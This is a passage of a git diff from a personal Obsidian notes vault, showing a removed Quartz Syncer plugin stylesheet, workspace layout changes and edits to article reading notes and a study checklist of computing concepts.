container */ - align-items: center; - flex-direction: column; -} - -.quartz-syncer-progress-bar-text { - max-width: 100%; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -button.quartz-syncer-publisher-button { - background-color: var(--interactive-accent); - color: var(--text-on-accent); - cursor: var(--cursor); - font-weight: var(--font-bold); -} - -.quartz-syncer-publisher-loading-container { - width: 100%; - height: 5px; - margin-top: 10px; -} - -.quartz-syncer-publisher-loading-bar { - background-color: var(--interactive-accent); - height: 100%; - transition: all 0.5s ease-in-out; -} - -.quartz-syncer-publisher-published { - color: var(--text-success, var(--color-green)); -} - -.quartz-syncer-publisher-deleted { - color: var(--text-error, var(--color-red)); -} - -/* Quartz Syncer Diff View */ -.quartz-syncer-diff-modal { - max-width: var(--modal-max-width, 100%); - width: var(--modal-width, 100%); -} - -body.is-mobile .quartz-syncer-diff-modal { - width: 100%; -} - -body.is-mobile .quartz-syncer-diff-view-container { - overflow-x: auto; -} - -pre.quartz-syncer-diff-view { - display: block; - white-space: pre; - overflow-wrap: break-word; - width: fit-content; -} - -pre.quartz-syncer-diff-view.quartz-syncer-diff-added { - background-color: rgb( - var(--background-modifier-success-rgb, var(--color-green-rgb)), - 0.5 - ); - color: var(--text-on-accent); -} - -pre.quartz-syncer-diff-view.quartz-syncer-diff-removed { - background-color: rgb( - var(--background-modifier-error-rgb, var(--color-red-rgb)), - 0.5 - ); - color: var(--text-on-accent); -} - -.quartz-syncer-diff-line { - white-space: pre; - overflow-wrap: break-word; -} - -.quartz-syncer-diff-line-added { - background-color: var(--text-success, var(--color-green)); - color: var(--text-on-accent); - text-decoration: overline; -} - -.quartz-syncer-diff-line-removed { - background-color: var(--text-error, var(--color-red)); - color: var(--text-on-accent); - text-decoration: line-through; -} - -/* Quartz Syncer Tree Selectors */ -.quartz-syncer-modal-content ul { - margin: 0; - list-style: none; - padding-left: 1.2rem; - user-select: none; -} - -.quartz-syncer-modal-content li { - margin: 0.2rem 0; -} - -.quartz-syncer-modal-content .no-arrow { - padding-left: calc(var(--icon-size) + 2px); -} - -.quartz-syncer-modal-content .arrow { - cursor: var(--cursor); - display: inline-block; - transition: transform 200ms; -} - -/* arrowDown svelte variable */ -.quartz-syncer-modal-content .arrowDown { - transform: rotate(90deg); -} - -/* isRoot svelte variable */ -.quartz-syncer-modal-content ul.isRoot { - padding-left: 0; -} - -.quartz-syncer-modal-content .root-header { - font-weight: var(--font-bold); - font-size: var(--font-ui-larger); -} - -input:indeterminate { - background-color: var(--checkbox-color); - border-color: var(--checkbox-color); -} - -input[type="checkbox"]:indeterminate::after { - content: ""; - top: -1px; - left: -1px; - position: absolute; - width: var(--checkbox-size); - height: var(--checkbox-size); - display: block; - background-color: var(--checkbox-marker-color); - mask-position: 52% 52%; - mask-size: 65%; - mask-repeat: no-repeat; - mask-image: url('data:image/svg+xml; utf8,'); -} - -.quartz-syncer-icon-diff { - cursor: var(--cursor); - display: inline-block; - margin-left: 4px; -} - -/* File type badges */ -.quartz-syncer-file-badge { - font-size: 9px; - font-weight: var(--font-bold); - padding: 1px 4px; - border-radius: var(--radius-s); - margin-left: 6px; - text-transform: uppercase; - vertical-align: middle; -} - -.quartz-syncer-badge-base { - background-color: rgb(var(--color-purple-rgb, 147, 51, 234), 0.2); - color: var(--text-accent, var(--color-purple, #9333ea)); - border: 1px solid rgb(var(--color-purple-rgb, 147, 51, 234), 0.3); -} - -.quartz-syncer-badge-canvas { - background-color: rgb(var(--color-cyan-rgb, 6, 182, 212), 0.2); - color: var(--text-accent, var(--color-cyan, #06b6d4)); - border: 1px solid rgb(var(--color-cyan-rgb, 6, 182, 212), 0.3); -} - -/* Quartz Syncer Settings */ - -.quartz-syncer-settings button:disabled, -.quartz-syncer-publish-status-view button:disabled { - pointer-events: none; - opacity: 0.4; -} - -.quartz-syncer-publish-status-view ul { - list-style-type: none; - position: relative; - margin-left: 5px; - margin-top: 0; - max-height: 250px; - overflow: auto; -} - -.quartz-syncer-publish-status-view h2 { - margin-top: 0; - margin-bottom: 5px; -} - -.quartz-syncer-publish-status-view .collapsable { - cursor: var(--cursor); - margin-left: 10px; -} - -.quartz-syncer-settings-enabled - > .setting-item-info - > .setting-item-name::after { - content: " (plugin enabled)"; - color: var(--text-success, var(--color-green)); - font-weight: var(--font-bold); -} - -.quartz-syncer-settings-disabled > .setting-item-info > .setting-item-name { - color: var(--text-error, var(--color-red)); -} - -.quartz-syncer-settings-disabled - > .setting-item-info - > .setting-item-name::after { - content: " (plugin disabled)"; - color: var(--text-error, var(--color-red)); - font-weight: var(--font-bold); -} - -.quartz-syncer-settings-disabled > .setting-item-control > .checkbox-container { - background-color: var(--text-error, var(--color-red)); -} - -.quartz-syncer-settings .setting-item-heading { - margin-top: var(--heading-spacing); -} - -.quartz-syncer-settings-description { - margin-bottom: 10px; -} - -.quartz-syncer-settings .svg-icon { - margin-right: 10px; -} - -.quartz-syncer-navigation-item-icon > svg.svg-icon { - margin-right: 0; -} - -.quartz-syncer-svg-icon { - margin-right: 4px; -} - -/* GitHub connection status */ -.quartz-syncer-connection-status { - font-weight: var(--font-bold); -} - -.quartz-syncer-connection-status-failed { - color: var(--text-error, var(--color-red)); -} - -.quartz-syncer-connection-status-success { - color: var(--text-success, var(--color-green)); -} - -.quartz-syncer-connection-status-pending { - color: var(--text-warning, var(--color-orange)); -} - -/* Cog animation */ -@keyframes quartz-syncer-rotate-animation { - 0% { - transform: rotate(0deg); - } - - 100% { - transform: rotate(360deg); - } -} - -.quartz-syncer-rotate { - animation: quartz-syncer-rotate-animation 4s linear infinite; -} - -.quartz-syncer-cog { - margin-left: 3px; -} - -.quartz-syncer-cog-big { - width: 40px; - height: 40px; -} - -/* Progress bar */ -.quartz-syncer-progress-bar-container { - width: 100%; - height: 40px; - margin-top: 10px; -} - -/* Publication center */ - -.quartz-syncer-modal-content:first-child { - width: 100%; -} - -/* Folder select */ -.quartz-syncer-settings .search-input-container::before { - display: none; -} - -.quartz-syncer-settings .search-input-container input { - padding-inline-start: 0; - padding: 4px 8px; -} - -.quartz-syncer-settings.quartz-syncer-desktop .search-input-container input { - width: unset; -} - -/* Settings tabs */ -.quartz-syncer-navigation-item { - cursor: var(--cursor); - border: var(--border-width) solid var(--background-modifier-border); - border-radius: var(--radius-m) var(--radius-m) var(--radius-s) - var(--radius-s); - font-weight: var(--font-bold); - font-size: var(--font-text-size); - display: flex; - flex-shrink: 0; - flex-direction: row; - white-space: nowrap; - padding: 4px 6px; - align-items: center; - gap: 4px; - overflow: hidden; - background-color: var(--background-secondary-alt); - transition: - color 0.25s ease-in-out, - padding 0.25s ease-in-out, - background-color 0.35s cubic-bezier(0.45, 0.25, 0.83, 0.67), - max-width 0.35s cubic-bezier(0.57, 0.04, 0.58, 1); - height: 32px; -} - -@media screen and (width <= 1325px) { - .quartz-syncer-navigation-item.quartz-syncer-desktop { - max-width: 32px; - } -} - -@media screen and (width <= 800px) { - .quartz-syncer-navigation-item.quartz-syncer-mobile { - max-width: 32px; - } -} - -.quartz-syncer-navigation-item-icon, -.quartz-syncer-warning { - padding-top: 5px; -} - -.quartz-syncer-navigation-item:hover { - border-color: var(--interactive-accent-hover); - border-bottom: 0; -} - -.quartz-syncer-navigation-item.quartz-syncer-navigation-item-active { - background-color: var(--interactive-accent); - color: var(--text-on-accent); - padding: 4px 9px; - max-width: 100%; - border: var(--border-width) solid var(--background-modifier-border); - border-radius: var(--radius-m) var(--radius-m) var(--radius-s) - var(--radius-s); - border-bottom: 0; - transition: - color 0.25s ease-in-out, - padding 0.25s ease-in-out, - background-color 0.35s cubic-bezier(0.45, 0.25, 0.83, 0.67), - max-width 0.45s cubic-bezier(0.57, 0.04, 0.58, 1) 0.2s; -} - -.quartz-syncer-settings { - transition: transform 400ms 0s; -} - -.quartz-syncer-setting-title { - display: flex; - align-items: baseline; - justify-content: space-between; - gap: 30px; -} - -.quartz-syncer-setting-title.quartz-syncer-mobile { - justify-content: space-around; -} - -.quartz-syncer-setting-title h1 { - font-weight: 900; - margin-top: 6px; - margin-bottom: 12px; -} - -.quartz-syncer-setting-header { - margin-bottom: 24px; - overflow: auto hidden; -} - -.quartz-syncer-setting-header .quartz-syncer-setting-tab-group { - display: flex; - align-items: flex-end; - overflow-x: auto; - width: 100%; -} - -.quartz-syncer-setting-tab-group { - margin-top: 6px; - padding-left: 2px; - padding-right: 2px; - border-bottom: var(--border-width) solid var(--background-modifier-border); -} - -.quartz-syncer-setting-header .quartz-syncer-tab-settings { - padding: 6px 12px; - font-weight: 600; - cursor: var(--cursor); - white-space: nowrap; - border-left: var(--border-width) solid var(--background-modifier-border); - border-right: var(--border-width) solid var(--background-modifier-border); -} - -.quartz-syncer-setting-header .quartz-syncer-tab-settings:first-child { - margin-left: 6px; -} - -.quartz-syncer-setting-header - .quartz-syncer-tab-settings.quartz-syncer-tab-settings-active { - border-bottom: var(--border-width) solid var(--background-primary); - transform: translateY(2px); - border-radius: var(--radius-s); - border-left: var(--border-width) solid var(--background-modifier-border); - border-top: var(--border-width) solid var(--background-modifier-border); - border-right: var(--border-width) solid var(--background-modifier-border); -} - -.quartz-syncer-setting-content - .quartz-syncer-tab-settings.quartz-syncer-tab-settings-active { - display: block; -} - -.quartz-syncer-setting-content - .quartz-syncer-tab-settings:not(.quartz-syncer-tab-settings-active) { - display: none; -} - -body.is-phone - .quartz-syncer-navigation-item:not(.quartz-syncer-navigation-item-active) - > span:nth-child(2), -body.is-tablet - .quartz-syncer-navigation-item:not(.quartz-syncer-navigation-item-active) - > span:nth-child(2), -body.is-mobile - .quartz-syncer-navigation-item:not(.quartz-syncer-navigation-item-active) - > span:nth-child(2) { - border: 0; - height: 1px; - margin: -1px; - overflow: hidden; - padding: 0; - position: absolute; - width: 1px; - white-space: nowrap; -} - -/* Token/Secret Storage UI */ -.quartz-syncer-token-container { - display: flex; - flex-direction: column; - gap: 8px; - width: 100%; -} - -.quartz-syncer-token-status { - font-size: var(--font-ui-smaller); - padding: 4px 8px; - border-radius: var(--radius-s); - display: inline-flex; - align-items: center; - gap: 4px; -} - -.quartz-syncer-token-status::before { - content: ""; - width: 8px; - height: 8px; - border-radius: 50%; - display: inline-block; -} - -.quartz-syncer-token-status-set { - background-color: rgb(var(--color-green-rgb), 0.15); - color: var(--text-success, var(--color-green)); -} - -.quartz-syncer-token-status-set::before { - background-color: var(--text-success, var(--color-green)); -} - -.quartz-syncer-token-status-unset { - background-color: rgb(var(--color-orange-rgb), 0.15); - color: var(--text-warning, var(--color-orange)); -} - -.quartz-syncer-token-status-unset::before { - background-color: var(--text-warning, var(--color-orange)); -} - -.quartz-syncer-token-input-container { - display: flex; - gap: 4px; - align-items: center; -} - -.quartz-syncer-token-input { - flex: 1; - padding: 6px 10px; - border: 1px solid var(--background-modifier-border); - border-radius: var(--radius-s); - background-color: var(--background-primary); - color: var(--text-normal); - font-family: var(--font-monospace); -} - -.quartz-syncer-token-input:focus { - border-color: var(--interactive-accent); - outline: none; -} - -.quartz-syncer-token-toggle { - padding: 6px; - border: none; - background: transparent; - cursor: var(--cursor); - color: var(--text-muted); - border-radius: var(--radius-s); -} - -.quartz-syncer-token-toggle:hover { - color: var(--text-normal); - background-color: var(--background-modifier-hover); -} - -.quartz-syncer-token-buttons { - display: flex; - gap: 8px; -} - -.quartz-syncer-token-buttons button { - padding: 6px 12px; - border-radius: var(--radius-s); - cursor: var(--cursor); - font-size: var(--font-ui-small); -} - -/* Plugin Browser Modal */ -.quartz-syncer-plugin-browser { - width: 700px; - max-width: 90vw; -} - -.quartz-syncer-plugin-browser .modal-content { - max-height: 70vh; - overflow-y: auto; - padding: 0 16px 16px; -} - -.quartz-syncer-plugin-browser-loading { - text-align: center; - color: var(--text-muted); - padding: 24px 0; -} - -.quartz-syncer-plugin-browser-controls { - display: flex; - gap: 8px; - margin-bottom: 12px; - position: sticky; - top: 0; - background: var(--modal-background); - padding: 8px 0; - z-index: 1; -} - -.quartz-syncer-plugin-browser-search { - flex: 1; - padding: 6px 10px; - border: 1px solid var(--background-modifier-border); - border-radius: var(--radius-s); - background: var(--background-primary); - color: var(--text-normal); - font-size: var(--font-ui-small); -} - -.quartz-syncer-plugin-browser-tag-filter { - padding: 6px 10px; - border: 1px solid var(--background-modifier-border); - border-radius: var(--radius-s); - background: var(--background-primary); - color: var(--text-normal); - font-size: var(--font-ui-small); -} - -.quartz-syncer-plugin-browser-list { - display: flex; - flex-direction: column; - gap: 8px; -} - -.quartz-syncer-plugin-browser-empty { - text-align: center; - color: var(--text-muted); - padding: 16px 0; -} - -.quartz-syncer-plugin-browser-card { - border: 1px solid var(--background-modifier-border); - border-radius: var(--radius-m); - padding: 12px; -} - -.quartz-syncer-plugin-browser-card-header { - display: flex; - align-items: center; - gap: 8px; - margin-bottom: 4px; -} - -.quartz-syncer-plugin-browser-card-name { - font-weight: var(--font-bold); - font-size: var(--font-ui-medium); -} - -.quartz-syncer-plugin-browser-badge-official { - font-size: var(--font-ui-smaller); - color: var(--text-on-accent); - background: var(--interactive-accent); - padding: 1px 6px; - border-radius: var(--radius-s); -} - -.quartz-syncer-plugin-browser-card-desc { - color: var(--text-muted); - font-size: var(--font-ui-small); - margin: 0 0 8px; -} - -.quartz-syncer-plugin-browser-card-footer { - display: flex; - align-items: center; - justify-content: space-between; - gap: 8px; -} - -.quartz-syncer-plugin-browser-card-tags { - display: flex; - flex-wrap: wrap; - gap: 4px; -} - -.quartz-syncer-plugin-browser-tag { - font-size: var(--font-ui-smaller); - color: var(--text-muted); - background: var(--background-secondary); - padding: 1px 6px; - border-radius: var(--radius-s); -} - -.quartz-syncer-plugin-browser-installed { - font-size: var(--font-ui-small); - color: var(--text-success); - font-weight: var(--font-bold); -} - -.quartz-syncer-plugin-browser-install-btn { - padding: 4px 12px; - border-radius: var(--radius-s); - background: var(--interactive-accent); - color: var(--text-on-accent); - cursor: var(--cursor); - font-size: var(--font-ui-small); - font-weight: var(--font-bold); - border: none; - white-space: nowrap; -} - -.quartz-syncer-plugin-browser-install-btn:disabled { - opacity: 0.6; - cursor: not-allowed; -} diff --git a/.obsidian/workspace.json b/.obsidian/workspace.json index cbae3dd..f2e73ab 100755 --- a/.obsidian/workspace.json +++ b/.obsidian/workspace.json @@ -4,21 +4,21 @@ "type": "split", "children": [ { - "id": "17062c8b6bdf7fcc", + "id": "6237ac476356142f", "type": "tabs", "children": [ { - "id": "2d8a7bb35f01217d", + "id": "a343377e7b3c097f", "type": "leaf", "state": { "type": "markdown", "state": { - "file": "Index.md", + "file": "Dailies/2026-05-29.md", "mode": "source", "source": false }, "icon": "lucide-file", - "title": "Index" + "title": "2026-05-29" } } ] @@ -53,7 +53,7 @@ "state": { "type": "search", "state": { - "query": "", + "query": "sql joins", "matchingCase": false, "explainSearch": false, "collapseAll": false, @@ -84,7 +84,8 @@ "title": "Calendar" } } - ] + ], + "currentTab": 3 } ], "direction": "horizontal", @@ -104,12 +105,12 @@ "state": { "type": "outgoing-link", "state": { - "file": "Index.md", + "file": "Non Technical/Non Technical MOC.md", "linksCollapsed": false, "unlinkedCollapsed": true }, "icon": "links-going-out", - "title": "Outgoing links from Index" + "title": "Outgoing links from Non Technical MOC" } }, { @@ -147,13 +148,13 @@ "state": { "type": "outline", "state": { - "file": "Index.md", + "file": "Non Technical/Non Technical MOC.md", "followCursor": false, "showSearch": false, "searchQuery": "" }, "icon": "lucide-list", - "title": "Outline of Index" + "title": "Outline of Non Technical MOC" } }, { @@ -165,9 +166,28 @@ "icon": "excalidraw-icon", "title": "Excalidraw Sidepanel" } + }, + { + "id": "25f2f0631c046232", + "type": "leaf", + "state": { + "type": "backlink", + "state": { + "file": "Career/Security/Cross Site Scripting (XSS).md", + "collapseAll": false, + "extraContext": false, + "sortOrder": "alphabetical", + "showSearch": false, + "searchQuery": "", + "backlinkCollapsed": false, + "unlinkedCollapsed": true + }, + "icon": "links-coming-in", + "title": "Backlinks for Cross Site Scripting (XSS)" + } } ], - "currentTab": 4 + "currentTab": 5 } ], "direction": "horizontal", @@ -186,58 +206,57 @@ "pdf-plus:PDF++: Toggle auto-focus": false, "pdf-plus:PDF++: Toggle auto-paste": false, "bases:Create new base": false, - "templates:Insert template": false, - "copilot:Open Copilot Chat": false + "templates:Insert template": false } }, - "active": "2d8a7bb35f01217d", + "active": "a343377e7b3c097f", "lastOpenFiles": [ "Dailies/2026-06-01.md", "Dailies/2026-06-02.md", - "Dailies/2026-06-03.md", - "Career/Output Encoding.md", - "copilot/copilot-custom-prompts/Clip Web Page.md", - "copilot/copilot-custom-prompts/Clip YouTube Transcript.md", - "copilot/copilot-custom-prompts/Rewrite as tweet thread.md", - "copilot/copilot-custom-prompts/Rewrite as tweet.md", - "copilot/copilot-custom-prompts/Remove URLs.md", - "copilot/copilot-custom-prompts/Generate glossary.md", - "copilot/copilot-custom-prompts/Generate table of contents.md", - "copilot/copilot-custom-prompts/Make longer.md", - "copilot/copilot-custom-prompts/Make shorter.md", - "copilot/copilot-custom-prompts/Emojify.md", - "copilot/copilot-custom-prompts/Explain like I am 5.md", - "copilot/copilot-custom-prompts/Simplify.md", - "copilot/copilot-custom-prompts/Summarize.md", - "copilot/copilot-custom-prompts/Translate to Chinese.md", - "copilot/copilot-custom-prompts/Fix grammar and spelling.md", - "copilot/copilot-custom-prompts", - "copilot", + "Career/Regex.md", + "Dailies/2026-06-04.md", + "Career/Microlise/Session Stored XSS PENTEST.md", + "Career/Security/Cross Site Scripting (XSS).md", "Career/Concepts.md", - "Career/API/API Architecture.md", + "Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md", + "copilot/memory/Recent Conversations.md", + "copilot/copilot-conversations/Hello@20260603_222655.md", + "copilot/memory", + "copilot/copilot-conversations/Can_you_complete_the_common_aggregate_functions_with_examples_and@20260603_222600.md", + "copilot/copilot-conversations", + "copilot", + "Career/Database - SQL/SQL Joins.md", + "Career/Database - SQL/Attachments/Pasted image 20260603221345.png", + "Career/Database - SQL/Attachments", + "Articles/Articles MOC.md", + "Articles/Substack Articles.md", + "Articles/20 Software Engineering Laws.md", + "pdfs/_articles/20-laws-software-engineering.pdf", + "Index.md", + "Non Technical/z resources.md", + "pdfs/_articles/The New Definition of Software Engineering in the Age of AI Is Already Here _ by Deep concept _ Let’s Code Future _ May, 2026 _ Medium.pdf", + "Articles/Redefining the Software Engineering Profession for AI.md", + "pdfs/_articles/Opinion.pdf", + "Articles/I thought I knew system design.md", + "Articles/Every Senior Engineer has read these books.md", "Books/Books MOC.md", - "Career/API", - "Books/The Science of Self-Discipline.md", - "Books/Notes/Neuroplasticity.md", - "Books/Ikigai.md", - "Books/So good they cant ignore you.md", - "pdfs/_articles/Effects of insufficient sleep on circadian rhythmicity and expression amplitude of the human blood transcriptome.pdf", + "Articles/Reason some people are likable.md", + "pdfs/_articles/reason-some-people-are-likable.pdf", + "Articles/Software Quality.md", + "pdfs/_articles/software-quality.pdf", + "Articles/Effects of insufficient sleep on circadian rhythmicity.md", + "Articles/Effect of Tiktok on teens.md", + "Career/Microlise/Seb Search Improvements.md", + "Career/Devops", + "Career/Security/Attachments/Pasted image 20260603202316.png", + "Career/Security/Attachments/Pasted image 20260603202301.png", "Books/Attachments/Pasted image 20260603145548.png", - "pdfs/_misc/Ikigai.pdf", "Books/Attachments/Pasted image 20260603145055.png", "Books/Attachments/Pasted image 20260603145047.png", "Books/Attachments/Pasted image 20260603144656.png", "Books/Attachments/Pasted image 20260603144325.png", "Books/Attachments/Pasted image 20260603144043.png", "Books/Attachments/Pasted image 20260603143606.png", - "Books/Attachments/Pasted image 20260603143542.png", - "Books/Attachments/Pasted image 20260603143442.png", - "Books/Attachments", - "pdfs/_misc/The Book of Ichigo Ichie.pdf", - "Books/Books", - "Books/–", - "Books/Notes", - "Articles/Attachments/2026-05-22-every-senior-engineer-i-respect-has-read-these-books-have-you-by-the-latency-gambler-mar-2026-medium-01.png", "Untitled.canvas" ] } \ No newline at end of file diff --git a/Articles/Articles MOC.md b/Articles/Articles MOC.md index 82468f3..7333ea9 100755 --- a/Articles/Articles MOC.md +++ b/Articles/Articles MOC.md @@ -1,5 +1,22 @@ +These are PDF articles that have been saved under the `pdfs/` folder, annotated and studied. +This is different to [[z resources]] as that will contain resources in general, including articles (articles are a subset of the responsibilities of [[z resources]]) + ## Software Articles: - [[I thought I knew system design]] - [[Every Senior Engineer has read these books]] -- [[Software Quality]] \ No newline at end of file +- [[Software Quality]] +- [[20 Software Engineering Laws]] +- [[Redefining the Software Engineering Profession for AI]] + +- [[Effects of insufficient sleep on circadian rhythmicity]] +- [[Effect of Tiktok on teens]] +- [[Reason some people are likable]] + +All files that are not done: +```dataview +TABLE +FROM "Articles" +WHERE done != true AND file.name!="Articles MOC" +SORT file.name ASC +``` \ No newline at end of file diff --git a/Articles/Effect of Tiktok on teens.md b/Articles/Effect of Tiktok on teens.md old mode 100644 new mode 100755 diff --git a/Articles/Every Senior Engineer has read these books.md b/Articles/Every Senior Engineer has read these books.md index fc2d587..2fc9c1f 100755 --- a/Articles/Every Senior Engineer has read these books.md +++ b/Articles/Every Senior Engineer has read these books.md @@ -1,6 +1,7 @@ --- pdf: "[[Every Senior Engineer I Respect Has Read These Books (Have You_) _ by The Latency Gambler _ Mar, 2026 _ Medium.pdf]]" type: pdf-notes +done: true --- # Every Senior Engineer has read these books Notes: diff --git a/Articles/I thought I knew system design.md b/Articles/I thought I knew system design.md index df06b7d..ffc81b2 100755 --- a/Articles/I thought I knew system design.md +++ b/Articles/I thought I knew system design.md @@ -4,6 +4,7 @@ pdf: date started: 2026-06-03 date finished: 2026-06-03 type: pdf-notes +done: true --- # AI summary: diff --git a/Articles/Reason some people are likable.md b/Articles/Reason some people are likable.md new file mode 100755 index 0000000..85ce6b2 --- /dev/null +++ b/Articles/Reason some people are likable.md @@ -0,0 +1,22 @@ +--- +pdf: + - "[[reason-some-people-are-likable.pdf]]" +date started: 2026-06-03 +date finished: 2026-06-03 +type: + - pdf-notes +done: true +--- +# Reason some people are likable: Notes + +> [!PDF|] [[reason-some-people-are-likable.pdf#page=4&selection=12,1,18,70|reason-some-people-are-likable, p.4]] +> > acceptance prophecy” — the psychological phenomenon where your expectation of being accepted or rejected subtly shapes your behavior, which in turn influences whether others actually accept or reject you. + +> [!PDF|] [[reason-some-people-are-likable.pdf#page=7&selection=0,67,2,33|reason-some-people-are-likable, p.7]] +> > “Don’t wait to be welcomed. Be the welcomer.” +> +> Interesting conclusion people come to, something we are taught 1400+ years ago. + +> [!PDF|] [[reason-some-people-are-likable.pdf#page=10&selection=6,0,8,31|reason-some-people-are-likable, p.10]] +> > Someone has to lower the wall first. Magnetic people are simply the ones who decide that person is them. + diff --git a/Articles/Redefining the Software Engineering Profession for AI.md b/Articles/Redefining the Software Engineering Profession for AI.md new file mode 100755 index 0000000..1e77bd4 --- /dev/null +++ b/Articles/Redefining the Software Engineering Profession for AI.md @@ -0,0 +1,10 @@ +--- +pdf: + - "[[Opinion.pdf]]" +date started: 2026-06-03 +date finished: +type: + - pdf-notes +done: +--- +# Redefining the Software Engineering Profession for AI: Notes \ No newline at end of file diff --git a/Articles/Software Quality.md b/Articles/Software Quality.md index a0c36e1..1bbcac2 100755 --- a/Articles/Software Quality.md +++ b/Articles/Software Quality.md @@ -4,14 +4,17 @@ pdf: date started: 2026-06-03 date finished: 2026-06-03 type: pdf-notes +done: true --- # Software Quality: Notes -> (\[\[software-quality.pdf#page=1&annotation=122R|software-quality, p.1\]\]) -> We've normalized software catastrophes to the point where a Calculator leaking 32GB of RAM barely makes the news. +> [!PDF|254, 254, 0] [[software-quality.pdf#page=1&annotation=122R|software-quality, p.1]] +> > We've normalized software catastrophes to the point where a Calculator leaking 32GB of RAM barely makes the news. +> ![[2026-05-22-software-quality.png]] -> (\[\[software-quality.pdf#page=10&annotation=123R|software-quality, p.10\]\]) -> Teach fundamental engineering principles again. Array bounds checking. Memory management. Algorithm complexity. These aren't outdated concepts—they're engineering fundamentals. \ No newline at end of file +> [!PDF|] [[software-quality.pdf#page=10&selection=34,0,40,50|software-quality, p.10]] +> > Teach fundamental engineering principles again. Array bounds checking. Memory management. Algorithm complexity. These aren't outdated concepts—they're engineering fundamentals +> diff --git a/Articles/Substack Articles.md b/Articles/Substack Articles.md index 3b59da5..8daae66 100755 --- a/Articles/Substack Articles.md +++ b/Articles/Substack Articles.md @@ -1,3 +1,11 @@ +--- +pdf: +date started: 2026-06-03 +date finished: +type: +done: true +--- - [The 20 Software Engineering Laws](id:973f2e9c-f161-45ad-8f19-2e4d563f56ac) - [Microsoft banned AI because it cost too much.](https://medium.com/data-science-collective/microsoft-banned-ai-because-it-cost-too-much-135bcbf15a18) +# Substack Articles: Notes \ No newline at end of file diff --git a/Books/Art of Computer Programming.md b/Books/Art of Computer Programming.md old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603143442.png b/Books/Attachments/Pasted image 20260603143442.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603143542.png b/Books/Attachments/Pasted image 20260603143542.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603143606.png b/Books/Attachments/Pasted image 20260603143606.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603144043.png b/Books/Attachments/Pasted image 20260603144043.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603144325.png b/Books/Attachments/Pasted image 20260603144325.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603144656.png b/Books/Attachments/Pasted image 20260603144656.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603145047.png b/Books/Attachments/Pasted image 20260603145047.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603145055.png b/Books/Attachments/Pasted image 20260603145055.png old mode 100644 new mode 100755 diff --git a/Books/Attachments/Pasted image 20260603145548.png b/Books/Attachments/Pasted image 20260603145548.png old mode 100644 new mode 100755 diff --git a/Books/Books Calibre.md b/Books/Books Calibre.md index c5d0d5d..7ad2e9d 100755 --- a/Books/Books Calibre.md +++ b/Books/Books Calibre.md @@ -3,7 +3,7 @@ tags: - books - calibre - index -generated_at: 2026-06-03T14:09:04.104390 +generated_at: 2026-06-04T00:00:02.018640 --- # Career diff --git a/Books/Clean Code.md b/Books/Clean Code.md old mode 100644 new mode 100755 diff --git a/Books/Notes/Neuroplasticity.md b/Books/Notes/Neuroplasticity.md old mode 100644 new mode 100755 diff --git a/Books/Notes/Stanford marshmallow experiment.md b/Books/Notes/Stanford marshmallow experiment.md old mode 100644 new mode 100755 diff --git a/Books/So good they cant ignore you.md b/Books/So good they cant ignore you.md old mode 100644 new mode 100755 diff --git a/Career/Concepts.md b/Career/Concepts.md index 058c375..50ce122 100755 --- a/Career/Concepts.md +++ b/Career/Concepts.md @@ -46,17 +46,14 @@ Some core programming concepts that are essential for software development. The # APIs - [[Restful API]] - - [[API Architecture]] (Just needs spell checks and re read) - - [[ASP.NET Core Web API Fundamental Notes]] (todo) # Database Related - - [[Database Permissions, Roles, and Accounts]] - - - [[SQL Joins]] - +- [[Database Permissions, Roles, and Accounts]] +- [[SQL Joins]] +- [[Using Joins, Constraints, Normalization, and Subqueries]] # Misc - [[Windows Services]] @@ -68,73 +65,73 @@ Some core programming concepts that are essential for software development. The - [[OWASP Top 10]] - [[Cross Site Scripting (XSS)]] - +- [[Output Encoding]] # Concepts to learn and talk about (cs and maths) - - ~~xor~~ - - ~~big O notation~~ - - ~~time complexity~~ - - ~~space complexity~~ - - data structures - - algorithms - - design patterns - - functional programming - - object-oriented programming - - relational databases vs non-relational databases - - ~~Database permissions, roles and accounts~~ - - networking basics - - operating systems fundamentals - - concurrency and parallelism - - software development methodologies (Agile, Scrum, etc.) - - version control systems (Git, etc.) - - testing methodologies (unit testing, integration testing, etc.) - - security best practices - - cloud computing basics - - containerization (Docker, Kubernetes, etc.) - - DevOps practices - - ~~CI/CD pipelines~~ - - microservices architecture - - API design and development - - ~~restful apis~~ - - web development fundamentals (HTML, CSS, JavaScript) - - mobile app development basics - - machine learning basics - - data science fundamentals - - big data concepts - - blockchain basics - - cryptography fundamentals - - user experience (UX) design principles - - software architecture patterns (MVC, MVVM, etc.) - - debugging techniques - - performance optimization strategies - - software documentation best practices - - ethical considerations in software development - - emerging technologies in software development - - career development in software engineering - - soft skills for software engineers (communication, teamwork, etc.) - - project management basics for software projects - - open source contribution best practices - - remote work best practices for software engineers - - continuous learning strategies for software engineers - - data types - - bytes and bits - - number systems (binary, decimal, hexadecimal) - - logic gates - - set theory - - graph theory - - combinatorics - - probability theory - - statistics - - linear algebra - - calculus - - discrete mathematics - - compilers - - interpreters - - automata theory - - formal languages - - Turing machines - - computability theory - - MVPs and MVTs + - [x] xor + - [x] big O notation + - [x] time complexity + - [x] space complexity + - [ ] data structures + - [ ] algorithms + - [ ] design patterns + - [ ] functional programming + - [ ] object-oriented programming + - [ ] relational databases vs non-relational databases + - [x] Database permissions, roles and accounts + - [ ] networking basics + - [ ] operating systems fundamentals + - [ ] concurrency and parallelism + - [ ] software development methodologies (Agile, Scrum, etc.) + - [ ] version control systems (Git, etc.) + - [ ] testing methodologies (unit testing, integration testing, etc.) + - [ ] security best practices + - [ ] cloud computing basics + - [ ] containerization (Docker, Kubernetes, etc.) + - [ ] DevOps practices + - [x] CI/CD pipelines + - [ ] microservices architecture + - [ ] API design and development + - [x] restful apis + - [ ] web development fundamentals (HTML, CSS, JavaScript) + - [ ] mobile app development basics + - [ ] machine learning basics + - [ ] data science fundamentals + - [ ] big data concepts + - [ ] blockchain basics + - [ ] cryptography fundamentals + - [ ] user experience (UX) design principles + - [ ] software architecture patterns (MVC, MVVM, 